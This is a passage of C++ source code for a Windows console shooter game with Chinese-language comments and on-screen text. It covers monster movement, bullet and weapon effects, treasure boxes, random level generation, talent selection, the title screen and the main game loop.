        if(M%10==5) for(int k=1;CanGo(i+k,j,x);k++)  {if(x==3) m[i+k][j]=84; else m[i+k][j]=4;}
        if(M%10==6) for(int k=1;CanGo(i+k,j-k,x);k++){if(x==3) m[i+k][j-k]=84; else m[i+k][j-k]=4;}
        if(M%10==7) for(int k=1;CanGo(i,j-k,x);k++)  {if(x==3) m[i][j-k]=84; else m[i][j-k]=4;}
        if(M%10==8) for(int k=1;CanGo(i-k,j-k,x);k++){if(x==3) m[i-k][j-k]=84; else m[i-k][j-k]=4;}
    }
    void Move()
    {
        bool nx[32][32];
        memset(nx,0,sizeof(nx));
        for(int i=2;i<=28;i++)
        for(int j=2;j<=28;j++)
        {
            if(m[i][j]==50&&nx[i][j]==0&&T%2==0)//无脑怪
            {
                int r,I=i,J=j,rr=rand()%5,rrr=rand()%2;
                if(rrr==0) {if(X<i) r=1;if(X>i) r=4;}
                if(rrr==1) {if(Y>j) r=2;if(Y<j) r=3;} if(rr==0) r=rand()%4+1;
                if(r==1) I=i-1,J=j;if(r==2) I=i,J=j+1;if(r==3) I=i,J=j-1;if(r==4) I=i+1,J=j;
                if(CanGo(I,J,1)) m[i][j]=0,m[I][J]=50,SetPos(i,j),cout<<"  ",SetPos(I,J),cout<<"●",nx[I][J]=1;
            }
            if(m[i][j]==51&&nx[i][j]==0)//毒怪
            {
                int R=rand()%10;
                int r,I=i,J=j,rr=rand()%30,rrr=rand()%2,mr=rand()%15;
                if(rrr==0) {if(X<i) r=1;if(X>i) r=4;}
                if(rrr==1) {if(Y>j) r=2;if(Y<j) r=3;} if(rr!=0) r=rand()%4+1;
                if(r==1) I=i-1,J=j;if(r==2) I=i,J=j+1;if(r==3) I=i,J=j-1;if(r==4) I=i+1,J=j;
                if(mr==0) {for(int k=I-2;k<=I+2;k++) for(int l=J-2;l<=J+2;l++) if(k>1&&l>1&&k<=28&&l<=28&&(CanGo(k,l,1)||m[k][l]==1)) m[k][l]=59;}
                if(CanGo(I,J,1)||m[I][J]==1) m[i][j]=59,m[I][J]=51,SetPos(i,j),cout<<"  ",SetPos(I,J),cout<<"●",nx[I][J]=1;
            }
            if(m[i][j]==52&&nx[i][j]==0)//散弹怪 
            {
                int R=rand()%10;
                if(R==0)
                {
                    int I,J,r,rn=0;
                    int rr=rand()%8,Rn=rand()%3+1;
                    Xr:
                    rr=rand()%8,rn++;
                    if(rr==0) {r=1,I=i-1,J=j;if(CanGo(I,J,6)) m[I][J]=210+r;}
                    if(rr==1) {r=3,I=i,J=j+1;if(CanGo(I,J,6)) m[I][J]=210+r;}
                    if(rr==2) {r=5,I=i+1,J=j;if(CanGo(I,J,6)) m[I][J]=210+r;}
                    if(rr==3) {r=7,I=i,J=j-1;if(CanGo(I,J,6)) m[I][J]=210+r;}
                    if(rr==4) {r=2,I=i-1,J=j+1;if(CanGo(I,J,6)) m[I][J]=210+r;}
                    if(rr==5) {r=4,I=i+1,J=j+1;if(CanGo(I,J,6)) m[I][J]=210+r;}
                    if(rr==6) {r=6,I=i+1,J=j-1;if(CanGo(I,J,6)) m[I][J]=210+r;}
                    if(rr==7) {r=8,I=i-1,J=j-1;if(CanGo(I,J,6)) m[I][J]=210+r;}
                    if(rr==8) {r=rand()%7+2;I=i+1,J=j;if(m[I][J]!=2) m[I][J]=210+r;}nx[I][J]=1;
                    if(rn<Rn) goto Xr;
                }
                else if(R<=2)
                {
                    int r=rand()%4+1,Ie,Je;
                    if(r==1) Ie=i-1,Je=j;if(r==2) Ie=i,Je=j+1;if(r==3) Ie=i,Je=j-1;if(r==4) Ie=i+1,Je=j;
                    if(CanGo(Ie,Je,1)) m[i][j]=0,m[Ie][Je]=52,SetPos(i,j),cout<<"  ",SetPos(Ie,Je),cout<<"●";
                }
            }
            if(m[i][j]==53&&nx[i][j]==0)//瞄准怪 
            {
                int R=rand()%6;
                if(R==0)
                {
                    int I,J,r,rr=rand()%5;
                    if(X-i<0&&abs(Y-j)<=2) {r=1,I=i-1,J=j;if(CanGo(I,J,6)) m[I][J]=210+r;}
                    else if(Y-j>0&&abs(X-i)<=2) {r=3,I=i,J=j+1;if(CanGo(I,J,6)) m[I][J]=210+r;}
                    else if(X-i>0&&abs(Y-j)<=2) {r=5,I=i+1,J=j;if(CanGo(I,J,6)) m[I][J]=210+r;}
                    else if(Y-j<0&&abs(X-i)<=2) {r=7,I=i,J=j-1;if(CanGo(I,J,6)) m[I][J]=210+r;}
                    else if(X-i<0&&Y-j>0&&abs((i-X)-(Y-j))<=2) {r=2,I=i-1,J=j+1;if(CanGo(I,J,6)) m[I][J]=210+r;}
                    else if(X-i>0&&Y-j>0&&abs((X-i)-(Y-j))<=2) {r=4,I=i+1,J=j+1;if(CanGo(I,J,6)) m[I][J]=210+r;}
                    else if(X-i>0&&j-Y>0&&abs((X-i)-(j-Y))<=2) {r=6,I=i+1,J=j-1;if(CanGo(I,J,6)) m[I][J]=210+r;}
                    else if(X-i<0&&Y-j<0&&abs((i-X)-(j-Y))<=2) {r=8,I=i-1,J=j-1;if(CanGo(I,J,6)) m[I][J]=210+r;}
                    else if(rr==0) {r=rand()%7+2;I=i+1,J=j;if(CanGo(I,J,6)) m[I][J]=210+r;}
                }
                else if(R==1)
                {
                    int r=rand()%4+1,Ie,Je;
                    if(r==1) Ie=i-1,Je=j;if(r==2) Ie=i,Je=j+1;if(r==3) Ie=i,Je=j-1;if(r==4) Ie=i+1,Je=j;
                    if(CanGo(Ie,Je,1)) m[i][j]=0,m[Ie][Je]=53,SetPos(i,j),cout<<"  ",SetPos(Ie,Je),cout<<"●";
                }
            }
            if(m[i][j]==54&&nx[i][j]==0)//激光怪
            {
                int R=rand()%10;
                if(R==0) {int r=rand()%4; Light(i,j,231+2*r,2);}
                else if(R<=3)
                {
                    int r=rand()%4+1,Ie,Je;
                    if(r==1) Ie=i-1,Je=j;if(r==2) Ie=i,Je=j+1;if(r==3) Ie=i,Je=j-1;if(r==4) Ie=i+1,Je=j;
                    if(CanGo(Ie,Je,1)) m[i][j]=0,m[Ie][Je]=54,SetPos(i,j),cout<<"  ",SetPos(Ie,Je),cout<<"●";
                }
            }
            if(m[i][j]/100==2&&F[3]==1&&T%2==0) nx[i][j]=1;
            if((m[i][j]/100==1||m[i][j]/100==2)&&nx[i][j]==0)//子弹 
            {
                int M=m[i][j],I,J;m[i][j]=0;SetPos(i,j),cout<<"  ";
                if(M%10==1) I=i-1,J=j;if(M%10==2) I=i-1,J=j+1;if(M%10==3) I=i,J=j+1;if(M%10==4) I=i+1,J=j+1;
                if(M%10==5) I=i+1,J=j;if(M%10==6) I=i+1,J=j-1;if(M%10==7) I=i,J=j-1;if(M%10==8) I=i-1,J=j-1;
    
                if(I==X&&J==Y&&M/100==2) {Jian(2),system("color 4F"),Sleep(30);system("color 0F"),m[i][j]=0;Map(4);}
                else if(I==X&&J==Y&&M/100==1) m[I][J]=0;
                else if(M/100==2&&m[I][J]/100==1) m[i][j]=32;
                else if(M/100==2&&m[I][J]<55&&m[I][J]>=50) m[i][j]=0;
                else if(m[I][J]==2||m[I][J]==3)//石
                {
                    if((M%100)/10==0)
                    {
                        int rr=rand()%3;
                        if(rr==0) Fan(i,j,M),m[i][j]+=10;
                        else m[i][j]=84;
                    }
                    if((M%100)/10==1)
                    {
                        m[i][j]=84;
                        int rr=rand()%5;
                        if(rr==0&&F[14]==1&&M/100==1)
                        {
                                for(int ii=i-1;ii<=i+1;ii++)
                                for(int jj=j-1;jj<=j+1;jj++)
                                if(m[ii][jj]!=2&&m[ii][jj]!=3&&ii<=28&&jj<=28) m[ii][jj]=84;
                        }
                    }
                    if((M%100)/10==2)
                    {
                        m[i][j]=84;
                        if(m[i-1][j]!=2&&m[i-1][j]!=3)     m[i-1][j]=111;
                        if(m[i-1][j+1]!=2&&m[i-1][j+1]!=3) m[i-1][j+1]=112;
                        if(m[i][j+1]!=2&&m[i][j+1]!=3)     m[i][j+1]=113;
                        if(m[i+1][j+1]!=2&&m[i+1][j+1]!=3) m[i+1][j+1]=114;
                        if(m[i+1][j]!=2&&m[i+1][j]!=3)     m[i+1][j]=115;
                        if(m[i+1][j-1]!=2&&m[i+1][j-1]!=3) m[i+1][j-1]=116;
                        if(m[i][j-1]!=2&&m[i][j-1]!=3)     m[i][j-1]=117;
                        if(m[i-1][j-1]!=2&&m[i-1][j-1]!=3) m[i-1][j-1]=118;
                    }
                    if((M%100)/10==3) {if(m[I][J]==2&&(I!=1&&J!=1&&I!=29&&J!=29)) m[I][J]=84;else m[i][j]=84;}
                    if((M%100)/10==4) m[i][j]=84;
                    if((M%100)/10==5)
                    {
                        for(int ii=i-2;ii<=i+2;ii++)
                        for(int jj=j-2;jj<=j+2;jj++)
                        if(m[ii][jj]!=2&&m[ii][jj]!=3&&ii<=28&&jj<=28) m[ii][jj]=84;
                    }
                    if((M%100)/10==6)
                    {
                        for(int ii=i-1;ii<=i+1;ii++)
                        for(int jj=j-1;jj<=j+1;jj++)
                        if(m[ii][jj]!=2&&m[ii][jj]!=3&&ii<=28&&jj<=28) m[ii][jj]=9;
                    }
                    if((M%100)/10>=7&&(M%100)/10<9) Fan(i,j,M),m[i][j]+=(rand()%2)*10;
                    if((M%100)/10==9) m[i][j]=84;
                }
                else if(!CanGo(I,J,6))//其他
                {
                    if((M%100)/10==0) m[I][J]=84,Fan(i,j,M),m[i][j]+=10;
                    if((M%100)/10==1)
                    {
                        if(M/100==2&&m[I][J]==50) m[i][j]=0;
                        else m[I][J]=84;
                        if(F[14]==1&&M/100==1)
                        {
                                for(int ii=I-1;ii<=I+1;ii++)
                                for(int jj=J-1;jj<=J+1;jj++)
                                if(m[ii][jj]!=2&&m[ii][jj]!=3&&ii<=28&&jj<=28) m[ii][jj]=84;
                        }
                    }
                    if((M%100)/10==2)
                    {
                        m[I][J]=84;
                        if(m[I-1][J]!=2&&m[I-1][J]!=3)     m[I-1][J]=111;
                        if(m[I-1][J+1]!=2&&m[I-1][J+1]!=3) m[I-1][J+1]=112;
                        if(m[I][J+1]!=2&&m[I][J+1]!=3)     m[I][J+1]=113;
                        if(m[I+1][J+1]!=2&&m[I+1][J+1]!=3) m[I+1][J+1]=114;
                        if(m[I+1][J]!=2&&m[I+1][J]!=3)     m[I+1][J]=115;
                        if(m[I+1][J-1]!=2&&m[I+1][J-1]!=3) m[I+1][J-1]=116;
                        if(m[I][J-1]!=2&&m[I][J-1]!=3)     m[I][J-1]=117;
                        if(m[I-1][J-1]!=2&&m[I-1][J-1]!=3) m[I-1][J-1]=118;
                    }
                    if((M%100)/10==3) m[I][J]=M,nx[I][J]=1;
                    if((M%100)/10==4) Light(i,j,M,3);
                    if((M%100)/10==5)
                    {
                        for(int ii=I-2;ii<=I+2;ii++)
                        for(int jj=J-2;jj<=J+2;jj++)
                        if(m[ii][jj]!=2&&m[ii][jj]!=3&&ii<=28&&jj<=28) m[ii][jj]=84;
                    }
                    if((M%100)/10==6)
                    {
                        for(int ii=I-1;ii<=I+1;ii++)
                        for(int jj=J-1;jj<=J+1;jj++)
                        if(m[ii][jj]!=2&&m[ii][jj]!=3&&ii<=28&&jj<=28) m[ii][jj]=9;
                    }
                    if((M%100)/10>=7&&(M%100)/10<9) m[I][J]=84,Fan(i,j,M);
                    if((M%100)/10==9) m[I][J]=84;
                }
                else//空地
                {
                    if((M%100)/10==6)
                    {
                        m[i][j]=9;
                        if(CanGo(i,j-1,5)) m[i][j-1]=9;if(CanGo(i,j+1,5)) m[i][j+1]=9;
                        if(CanGo(i-1,j,5)) m[i-1][j]=9;if(CanGo(i-1,j,5)) m[i+1][j]=9;
                        m[I][J]=M,nx[I][J]=1;
                    }
                    if((M%100)/10==4) m[i][j]=84,m[I][J]=M,i=2,j=2;
                    else m[I][J]=M,nx[I][J]=1;
                }
            }
        }
        if(Bblood>0) Boss();
    }
    void Bullet()
    {
        int I=0,J=0,R=rand()%10,Rr=rand()%3,Rrr,K=0,tg=gunT;
        Hh:Rrr=rand()%20;
        if(gunT==1&&m[X-1][Y]!=2&&m[X-1][Y]!=3) I=X-1,J=Y;
        if(gunT==2&&m[X-1][Y+1]!=2&&m[X-1][Y+1]!=3) I=X-1,J=Y+1;
        if(gunT==3&&m[X][Y+1]!=2&&m[X][Y+1]!=3) I=X,J=Y+1;
        if(gunT==4&&m[X+1][Y+1]!=2&&m[X+1][Y+1]!=3) I=X+1,J=Y+1;
        if(gunT==5&&m[X+1][Y]!=2&&m[X+1][Y]!=3) I=X+1,J=Y;
        if(gunT==6&&m[X+1][Y-1]!=2&&m[X+1][Y-1]!=3) I=X+1,J=Y-1;
        if(gunT==7&&m[X][Y-1]!=2&&m[X][Y-1]!=3) I=X,J=Y-1;
        if(gunT==8&&m[X-1][Y-1]!=2&&m[X-1][Y-1]!=3) I=X-1,J=Y-1;
        if(I!=0&&J!=0) m[I][J]=100+10*gunZ+gunT;
        if(K==1) m[I][J]=110+gunT;
        if(F[2]==1&&gunZ==1) m[I][J]=100+gunT;
        if(F[8]==1&&R==0&&K==0) {gunT=rand()%8+1;K=1;goto Hh;}
        if(F[8]==1&&K!=0&&K<Rr) {gunT=rand()%8+1;K++;goto Hh;} if(K>=Rr) gunT=tg;
        if(Rrr==0&&F[11]==1&&K==0) {m[I][J]=100+10*(rand()%7+1)+gunT;}
        if(gunZ!=1) {G[gunZ]--; if(G[gunZ]<=0) G[gunZ]=0,gunZ=1;Map(3);}
    }
    void OpenBox(int a)
    {
        for(int i=X-1;i<=X+1;i++)
        for(int j=Y-1;j<=Y+1;j++)
        if(m[i][j]==3)
        {
            int r=2;//
            if(a==1) r=rand()%6+2;
            if(F[9]==1) r=rand()%12+2;
            SetPos(i,j);Color(5);
            if(r==2) cout<<"分裂枪!";
            if(r==3) cout<<"穿甲枪!";
            if(r==4) cout<<"激光枪!";
            if(r==5) cout<<"爆炸枪!";
            if(r==6) cout<<"毒气枪!";
            if(r==7) cout<<"弹跳枪!";
            if(r==8) cout<<"生命药水!",Blood=min(Blood+5,Bmax+2),Map(3);
            if(r==9) cout<<"盾牌药水!",Dun=min(Dun+5,Dmax+2),Map(3);
            if(F[9]==1&&r>=8&&r<=13) cout<<"生命药水!",Blood=min(Blood+5,Bmax+2),Map(3);
            Sleep(1000);m[i][j]=84;if(r<=7&&F[6]==0) gunZ=r,G[r]+=10;if(r<=7&&F[6]==1) gunZ=r,G[r]+=20;
            SetPos(i,j); cout<<"         ";Map(0);
        }
    }
    void Sheng()
    {
        memset(m,0,sizeof(m));memset(n,0,sizeof(n));
        int q=0,T=0,II=0,JJ=0;
        Re: q++;
        int r=rand()%15+1;
        if(F[19]==1) r=rand()%20+1;
        if(r==1) {for(int i=5;i<=7;i++)for(int j=5;j<=7;j++) m[i][j]=2;for(int i=23;i<=25;i++)for(int j=5;j<=7;j++) m[i][j]=2;for(int i=5;i<=7;i++)for(int j=23;j<=25;j++) m[i][j]=2;for(int i=23;i<=25;i++)for(int j=23;j<=25;j++) m[i][j]=2;}
        if(r==2) {for(int i=13;i<=17;i++) for(int j=13;j<=17;j++) m[i][j]=1;}
        if(r==3) {for(int i=2;i<=28;i++) m[i][6]=m[i][24]=m[6][i]=m[24][i]=1;}
        if(r==4) {for(int i=2;i<=28;i++) m[i][15]=m[15][i]=1;}
        if(r==5) {for(int i=2;i<=28;i++) if(abs(i-15)>=3) m[i][15]=m[15][i]=2;}
        if(r==6) {for(int i=2;i<=28;i++) for(int j=2;j<=28;j++) if(i==j||i+j==30) m[i][j]=1;}
        if(r==7) {for(int i=2;i<=28;i++) for(int j=2;j<=28;j++) if(abs(i-15)+abs(j-15)==10) m[i][j]=1;}
        if(r==8) {for(int i=5;i<=25;i++) if(abs(i-15)>=2) m[i][10]=m[i][20]=m[10][i]=m[20][i]=2;}
        if(r==9) {for(int i=2;i<=28;i++) for(int j=2;j<=28;j++) {int rr=rand()%20; if(rr==0&&m[i][j]==0) m[i][j]=1;}}
        if(r>=10&&II==0) {T--;int ii=rand()%27+2;int jj=rand()%27+2; for(int i=ii-1;i<=ii+1;i++) for(int j=jj-1;j<=jj+1;j++) if(m[i][j]==0) m[i][j]=1;II=ii,JJ=jj;}
        if(r>=10&&II!=0) goto Re;if(Lev<=5&&q<2) goto Re;
        T++;if(T==1) goto Re;if(II!=0) m[II][JJ]=3;
        r=rand()%15+1;
        if(r==1) {for(int i=5;i<=25;i++) n[i][4]=n[i][9]=n[i][15]=n[i][21]=n[i][26]=31;}
        if(r==2) {for(int i=8;i<=22;i++) n[i][8]=n[i][22]=n[8][i]=n[22][i]=31;}
        if(r==3) {for(int i=1;i<=5;i++) {int ii=rand()%23+4,jj=rand()%23+4;for(int ki=ii-2;ki<=ii+2;ki++)for(int kj=jj-2;kj<=jj+2;kj++) if(abs(ki-X)>2||abs(kj-Y)>2) n[ki][kj]=1;}}
        if(r==4) {for(int i=1;i<=7;i++) {int ii=rand()%23+4,jj=rand()%23+4;for(int ki=ii-1;ki<=ii+1;ki++)for(int kj=jj-1;kj<=jj+1;kj++) n[ki][kj]=11;}}
        if(r==5) {for(int i=1;i<=20;i++) {int ii=rand()%23+4,jj=rand()%13+1;jj*=2;for(int ki=ii-1;ki<=ii+1;ki++) n[jj+1][ki]=31;}}
        if(r==6) {for(int i=2;i<=28;i++) n[i][9]=n[i][10]=n[i][20]=n[i][21]=11;}
        if(r==7) {for(int i=5;i<=25;i++) n[4][i]=n[9][i]=n[15][i]=n[21][i]=n[26][i]=31;}
        if(r==8) {for(int i=7;i<=23;i++) for(int j=7;j<=23;j++) if(i==j||i+j==30) n[i][j]=31;}
        if(r==9) {for(int i=2;i<=28;i++) {if(i!=4&&i!=26&&!(i==Y&&(14<=X&&16>=X))) n[14][i]=n[15][i]=n[16][i]=1; m[14][i]=m[15][i]=m[16][i]=0;}}
        if(r==10) {for(int i=7;i<=23;i++) if(abs(i-15)>1) n[i][7]=n[i][23]=n[7][i]=n[23][i]=1;}
        Kk:
        int k=0,K[35][35]; memset(K,0,sizeof(K));
        if(Lev%5!=4)
        {
            for(int i=2;i<=28;i++)//怪
            for(int j=2;j<=28;j++)
            {
                if(Lev<=1) {int r=rand()%150;if(r==0) K[i][j]=50,k++;}
                else if(Lev<=2) {int r=rand()%200;if(r==0) K[i][j]=50;if(r==1) K[i][j]=51;if(r<=1) k++;}
                else if(Lev<=3) {int r=rand()%300;if(r==0) K[i][j]=50;if(r==1) K[i][j]=51;if(r==2) K[i][j]=52;if(r<=2) k++;}
                else if(Lev<=5) {int r=rand()%400;if(r==0) K[i][j]=50;if(r==1) K[i][j]=51;if(r==2) K[i][j]=52;if(r==3) K[i][j]=53;if(r<=3) k++;}
                else if(Lev<=7) {int r=rand()%350;if(r==0) K[i][j]=50;if(r==1) K[i][j]=51;if(r==2) K[i][j]=52;if(r==3) K[i][j]=53;if(r==4) K[i][j]=54;if(r<=4) k++;}
                else {int r;if(Lev<=10) r=rand()%300;if(Lev<=15) r=rand()%280;if(Lev<=20) r=rand()%250;if(Lev<=25) r=rand()%230;if(r==0) K[i][j]=50;if(r==1) K[i][j]=51;if(r==2) K[i][j]=52;if(r==3) K[i][j]=53;if(r==4) K[i][j]=54;if(r<=4) k++;}
            }if(k<3) goto Kk;if(k>5&&Lev<=3) goto Kk;if(k<5&&Lev>=10) goto Kk;if(k>10&&Lev<=10) goto Kk;if(k>15&&Lev<=15) goto Kk;if(k<10&&Lev>=20) goto Kk;if(k>20&&Lev<=20) goto Kk;
        }
        for(int i=2;i<=28;i++) for(int j=2;j<=28;j++) {if(n[i][j]!=0) m[i][j]=0;if(K[i][j]!=0&&(m[i-1][j]!=2||m[i+1][j]!=2||m[i][j-1]!=2||m[i][j+1]!=2)) m[i][j]=K[i][j];}
        if(Lev%5==4) {int ms;if(Lev==4) ms=3;if(Lev==9) ms=5;if(Lev==14) ms=10;if(Lev==19) ms=15;if(Lev==24) ms=20;Bx=rand()%23+4,By=rand()%23+4;Bblood=ms*12;for(int i=14;i<=16;i++) for(int j=14;j<=16;j++) m[i][j]=n[i][j]=0;}
        for(int i=X-1;i<=X+1;i++) for(int j=Y-1;j<=Y+1;j++) if(i!=1&&i!=29&&j!=1&&j!=29) m[i][j]=0;
        for(int i=1;i<=29;i++) m[1][i]=2,m[29][i]=2; for(int i=1;i<=29;i++) m[i][1]=2,m[i][29]=2;//周围石块
    }
    void TianFu()
    {
        int A[4],ss=0;
        system("cls");
        SetPos(5,5),cout<<"选择一个天赋!(数字键选择)"; 
        Tf:
        int R=rand()%20+1;
        for(int i=1;i<=3;i++) if(R==A[i]) goto Tf;
        if(F[R]==1) goto Tf;
        ss++,A[ss]=R; SetPos(4*ss+5,8),cout<<ss<<"、";
        if(R==1) SetPos(4*ss+5,10),cout<<"盾牌恢复速度增加";
        if(R==2) SetPos(4*ss+5,10),cout<<"普通子弹有概率弹跳";
        if(R==3) SetPos(4*ss+5,10),cout<<"怪物子弹速度变慢";
        if(R==4) SetPos(4*ss+5,10),cout<<"免疫地刺和怪物的毒";
        if(R==5) SetPos(4*ss+5,10),cout<<"开局无敌时间增加";
        if(R==6) SetPos(4*ss+5,10),cout<<"宝箱子弹量增加";
        if(R==7) SetPos(4*ss+5,10),cout<<"盾牌上限增加";
        if(R==8) SetPos(4*ss+5,10),cout<<"有概率发射散弹";
        if(R==9) SetPos(4*ss+5,10),cout<<"宝箱抽出生命水概率增加";
        if(R==10) SetPos(4*ss+5,10),cout<<"每次开局有概率增加生命";
        if(R==11) SetPos(4*ss+5,10),cout<<"有概率发射特殊子弹";
        if(R==12) SetPos(4*ss+5,10),cout<<"激光伤害减半";
        if(R==13) SetPos(4*ss+5,10),cout<<"盾牌爆后无敌一段时间";
        if(R==14) SetPos(4*ss+5,10),cout<<"普通子弹有概率爆炸";
        if(R==15) SetPos(4*ss+5,10),cout<<"杀死怪有几率加盾(BOSS关除外)";
        if(R==16) SetPos(4*ss+5,10),cout<<"出场释放冲击波";
        if(R==17) SetPos(4*ss+5,10),cout<<"盾牌爆后释放冲击波";
        if(R==18) SetPos(4*ss+5,10),cout<<"有概率在身周放毒";
        if(R==19) SetPos(4*ss+5,10),cout<<"刷出宝箱概率增加";
        if(R==20) SetPos(4*ss+5,10),cout<<"每次开局获得一把枪";
        if(ss<3) goto Tf;
        tF:
        char c=_getch();
        if(c>='1'&&c<='3') F[A[c-'0']]=1;
        else goto tF;
        if(A[c-'0']==7) Dmax+=3;
    }
    void GuaiQuan()
    {
        X=3,Y=3;Win=-1;system("cls");Color(0);
        memset(m,0,sizeof(m));memset(n,0,sizeof(n));
        for(int i=1;i<=29;i++) m[1][i]=2,m[29][i]=2;
        for(int i=1;i<=29;i++) m[i][1]=2,m[i][29]=2;//周围石块 
        for(int i=4;i<=12;i++) m[i][4]=m[i][12]=m[4][i]=m[12][i]=m[i][18]=m[i][26]=m[18][i]=m[26][i]=2;
        for(int i=18;i<=26;i++) m[i][4]=m[i][12]=m[4][i]=m[12][i]=m[i][18]=m[i][26]=m[18][i]=m[26][i]=2;
        for(int i=11;i<=19;i++) m[i][11]=m[i][19]=m[11][i]=m[19][i]=2;
        for(int i=6;i<=10;i++) for(int j=13;j<=17;j++) m[i][j]=1; 
        m[8][8]=50;m[8][21]=51;m[15][15]=52;m[21][8]=53;m[21][21]=54;m[16][23]=3;Map(5);
        SetPos(3,5);cout<<"←你";SetPos(4,14);cout<<"木箱↓";SetPos(17,4);cout<<"铁块↓";SetPos(17,21);cout<<"宝箱↑";
        SetPos(13,5);cout<<"无脑小怪↑";SetPos(14,21);cout<<"剧毒小怪↑";
        SetPos(20,13);cout<<"散弹小怪↑";SetPos(27,5);cout<<"狙击小怪↑";SetPos(27,21);cout<<"激光小怪↑";
        while(1)
        {
            if(bu>0) bu--;
            if(GetAsyncKeyState(VK_UP)&0x8000) Map(2),gx--; 
            else if(GetAsyncKeyState(VK_DOWN)&0x8000) Map(2),gx++;
            else if(GetAsyncKeyState(VK_LEFT)&0x8000) Map(2),gy--;
            else if(GetAsyncKeyState(VK_RIGHT)&0x8000) Map(2),gy++;
            if(kbhit())
            {
                char g=_getch();
                if(g=='a') {Map(2); if(gunT!=1) gunT--;else gunT=8;}
                if(g=='d') {Map(2); if(gunT!=8) gunT++;else gunT=1;}
                if(g=='w') OpenBox(1);
                if(g=='s'&&bu<=2) Bullet(),bu+=2;
                if(g==' ') Sleep(100),SetPos(-1,18),sy++,system("pause");
                if(g=='y'&&Win<0) {break;}
            }
            if(sy==1) SetPos(-1,18),cout<<"                           ",sy--;
            Move(); Map(0); Sleep(50);
        }Lev=0;Blood=10,Dun=10,Bmax=10,Dmax=10;
    }
    void Start()
    {
        Color(5);
        SetPos(2,3);cout<<"     ■■■■■■            ■                  ";
        SetPos(3,3);cout<<"                            ■■■■■■■■     ";
        SetPos(4,3);cout<<"                           ■                    ";
        SetPos(5,3);cout<<" ■■■■■■■■■■    ■  ■■■■■■        ";
        SetPos(6,3);cout<<"       ■    ■                                  ";
        SetPos(7,3);cout<<"       ■    ■              ■■■■■■■      ";
        SetPos(8,3);cout<<"      ■     ■  ■                    ■        ";
        SetPos(9,3);cout<<"   ■■       ■■■                  ■        ";
        SetPos(10,3);cout<<"                                      ■    ■  ";
        SetPos(11,3);cout<<"                         小            ■■■■ ";
        SetPos(13,3);cout<<" 2.0版本:                                      ";
        SetPos(14,3);cout<<"                               ■■■     ■    ";
        SetPos(15,3);cout<<" 新增BOSS!Crab-Dave!         ■  ■    ■     ";
        SetPos(16,3);cout<<"                               ■■■  ■    ■ ";
        SetPos(17,3);cout<<" 水,生木块,地刺加入战场!      ■  ■ ■■■■■";
        SetPos(18,3);cout<<"                               ■  ■           ";
        SetPos(19,3);cout<<" 身周不会刷出石和水了!        ■■■  ■■■■ ";
        SetPos(20,3);cout<<"                               ■  ■  ■    ■ ";
        SetPos(21,3);cout<<" BUG修正于小优化!努力通关吧! ■  ■  ■    ■ ";
        SetPos(22,3);cout<<"                            ■■   ■  ■■■■ ";
        SetPos(25,4);Color(1);cout<<"按 y 开始游戏!";
        SetPos(29,3);Color(3);cout<<"注意!这里 绝对不能是拼音输入法!";
        A:char y=_getch();
        if(y=='y') return;
        else goto A;
    }
    void Bling()
    {
        for(int i=0;i<=3;i++)
        {
            system("color 1A");Sleep(10);
            system("color 2B");Sleep(10);
            system("color 3C");Sleep(10);
            system("color 4D");Sleep(10);
            system("color 5D");Sleep(10);
            system("color 6E");Sleep(10);
            system("color 7F");Sleep(10);
        }system("color 0F");system("cls");
    }
    void BaoBo(int B)
    {
        for(int i=X-B;i<=X+B;i++) if(CanGo(i,Y-B,3)&&i>0&&Y-B>0) m[i][Y-B]=86,m[i][Y-B+1]=8;
        for(int i=X-B;i<=X+B;i++) if(CanGo(i,Y+B,3)&&i>0&&Y+B>0) m[i][Y+B]=86,m[i][Y+B-1]=8;
        for(int j=Y-B;j<=Y+B;j++) if(CanGo(X+B,j,3)&&j>0&&X+B>0) m[X+B][j]=86,m[X+B-1][Y]=8;
        for(int j=Y-B;j<=Y+B;j++) if(CanGo(X-B,j,3)&&j>0&&X-B>0) m[X-B][j]=86,m[X-B+1][Y]=8;
    }
    void Ci()
    {
        for(int i=1;i<=29;i++)
        for(int j=1;j<=29;j++)
        {
            if(n[i][j]>=10&&n[i][j]<50&&n[i][j]!=30) n[i][j]++;
            if(n[i][j]==50) {n[i][j]=31;if(m[i][j]==2) m[i][j]=0;}
            if(n[i][j]==45&&!(m[i][j]>=50&&m[i][j]<55)&&!(abs(Bx-i)<=1&&abs(By-i)<=1)) m[i][j]=2;
            if(n[i][j]>20&&n[i][j]<=30&&m[i][j]==0) n[i][j]=10;
            if(n[i][j]==20&&m[i][j]==0&&!(abs(Bx-i)<=1&&abs(By-i)<=1)) m[i][j]=1;
        }
    }
    int main()
    {
        system("mode con cols=62 lines=34");
        CONSOLE_CURSOR_INFO cursor_info={1,0};
        SetConsoleCursorInfo(GetStdHandle(STD_OUTPUT_HANDLE),&cursor_info);
        srand((unsigned)time(NULL));
        SSt: 
        Start();Bling();
        X=4,Y=8,gx=gy=0,gunT=1,gunZ=1,Lev=0,T;
        Blood=10,Dun=10,Bmax=10,Dmax=10;
        memset(G,0,sizeof(G)); memset(F,0,sizeof(F));
        GuaiQuan();
        St:
        Win=0;Bo=Boo=0;
        memset(m,0,sizeof(m));
        if(Lev%5==0&&Lev!=0) TianFu();
        Bling();T=0;Sheng();Map(1);int rr=rand()%3;
        if(F[5]==1) WuDi=60;else WuDi=30;
        if(rr==0&&F[10]==1) Blood=min(Blood+1,Bmax);
        if(F[16]==1) Bo=4;
        if(F[20]==1) {int Q=rand()%7+2;gunZ=Q,G[Q]=5;}
        while(Win<=0&&Blood>0&&Lev<25)
        {
            T++;
            if(bu>0) bu--;
            if(WuDi>0) WuDi--;
            if(WuDi==1) WuDi--,Map(4);
            if(Bo>0) BaoBo(5-Bo),Bo--;
            if(Boo>0) BaoBo(4-Boo),Boo--;
            if(F[18]==1)
            {
                int Rrr=rand()%30;
                if(Rrr==0)
                for(int i=X-2;i<=X+2;i++)
                for(int j=Y-2;j<=Y+2;j++) if(CanGo(i,j,5)&&i>0&&j>0) m[i][j]=9;
            }
            if(Dun<Dmax)
            {
                if(F[1]==1&&T%30==0) Dun++,Map(3);
                if(F[1]==0&&T%70==0) Dun++,Map(3);
            }
            if(GetAsyncKeyState(VK_UP)&0x8000) Map(2),gx--; 
            else if(GetAsyncKeyState(VK_DOWN)&0x8000) Map(2),gx++;
            else if(GetAsyncKeyState(VK_LEFT)&0x8000) Map(2),gy--;
            else if(GetAsyncKeyState(VK_RIGHT)&0x8000) Map(2),gy++;
            if(kbhit())
            {
                char g=_getch();
                if(g=='a') {Map(2); if(gunT!=1) gunT--;else gunT=8;}
